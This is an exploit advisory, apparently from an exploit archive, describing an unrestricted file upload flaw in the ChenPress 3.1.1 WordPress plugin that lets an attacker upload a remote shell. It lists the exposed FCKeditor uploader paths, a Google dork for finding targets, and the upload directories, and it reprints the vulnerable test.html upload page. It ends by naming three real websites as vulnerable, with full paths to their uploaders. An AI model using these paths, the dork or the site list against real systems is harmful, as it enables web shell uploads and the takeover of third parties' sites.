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WordPress ChenPress Plugins 3.1.1 Remote Shell Upload Vulnerability

Author: KingSkrupellos , Published: 21-12-2018
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# Exploit Title : WordPress ChenPress Plugins 3.1.1 Remote Shell Upload Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 20/12/2018
# Vendor Homepage : wordpress.org ~ groups-beta.google.com/group/ChenPress
# Software Download Link : groups.google.com/group/ChenPress/attach/de5f7cc401d8c608/chenpress_3.1.1.zip?part=2
# Script Owner Email : chweifly@gmail.com ~ W. Chen
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 3.1.1
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/chenpress/''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
+ CWE-434: Unrestricted Upload of File with Dangerous Type
# Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ]

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# Exploit :

/wp-content/plugins/chenpress/fckeditor/editor/filemanager/browser/mcpuk/browser.html

/wp-content/plugins/chenpress/FCKeditor/editor/filemanager/upload/test.html

/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/upload/test.html

/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/default/browser.html

/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/default/connectors/test.html

/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/default/frmupload.html

/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/mcpuk/frmupload.html

# Directory File Path :

/wp-content/plugins/chenpress/UserFiles/File/.....

/wp-content/uploads/.....

/wp-content/uploads/[YEAR]/[MONTH]/.....

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Vulnerable File Code : /test.html

<!--
* FCKeditor - The text editor for internet
* Copyright (C) 2003-2005 Frederico Caldeira Knabben
*
* Licensed under the terms of the GNU Lesser General Public License:
* http://www.opensource.org/licenses/lgpl-license.php
*
* For further information visit:
* http://www.fckeditor.net/
*
* "Support Open Source software. What about a donation today?"
*
* File Name: test.html
* Test page for the "File Uploaders".
*
* File Authors:
* Frederico Caldeira Knabben (fredck@fckeditor.net)
-->
<html>
<head>
<title>FCKeditor - Uploaders Tests</title>
<script language="javascript">

function SendFile()
{
var sUploaderUrl = cmbUploaderUrl.value ;

if ( sUploaderUrl.length == 0 )
sUploaderUrl = txtCustomUrl.value ;

if ( sUploaderUrl.length == 0 )
{
alert( 'Please provide your custom URL or select a default one' ) ;
return ;
}

eURL.innerHTML = sUploaderUrl ;
txtUrl.value = '' ;

frmUpload.action = sUploaderUrl ;
frmUpload.submit() ;
}

function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
{
switch ( errorNumber )
{
case 0 : // No errors
txtUrl.value = fileUrl ;
alert( 'File uploaded with no errors' ) ;
break ;
case 1 : // Custom error
alert( customMsg ) ;
break ;
case 10 : // Custom warning
txtUrl.value = fileUrl ;
alert( customMsg ) ;
break ;
case 201 :
txtUrl.value = fileUrl ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
case 203 :
alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}

</script>
</head>
<body>
<table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%">
<tr>
<td>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td nowrap>
Select the "File Uploader" to use:<br>
<select id="cmbUploaderUrl" name="Select1">
<option selected value="asp/upload.asp">ASP</option>
<option value="aspx/upload.aspx">ASP.Net</option>
<option value="php/upload.php">PHP</option>
<option value="">(Custom)</option>
</select>
</td>
<td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="100%">
Custom Uploader URL:<BR>
<input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text">
</td>
</tr>
</table>
<br>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td noWrap>
<form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post">
Upload a new file:<br>
<input type="file" name="NewFile"><br>
<input type="button" value="Send it to the Server" onclick="SendFile();">
</form>
</td>
<td style="WIDTH: 16px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td vAlign="top" width="100%">
Uploaded File URL:<br>
<INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
</td>
</tr>
</table>
<br>
Post URL: <span id="eURL">&nbsp;</span>
</td>
</tr>
<tr>
<td height="100%">
<iframe name="UploadWindow" width="100%" height="100%" src="../../fckblank.html"></iframe>
</td>
</tr>
</table>
</body>
</html>

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# Example Vulnerable Sites =>

[+] citizennetmom.com/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/upload/test.html

[+] arqueixal.com/blog/wp-content/plugins/chenpress/fckeditor/editor/filemanager/browser/mcpuk/browser.html

[+] ftp.unicauca.edu.co/cuentas/.cuentasbajadas29092009/comunicacionsocial/wp-content/plugins/
chenpress/FCKeditor/editor/filemanager/browser/mcpuk/browser.html

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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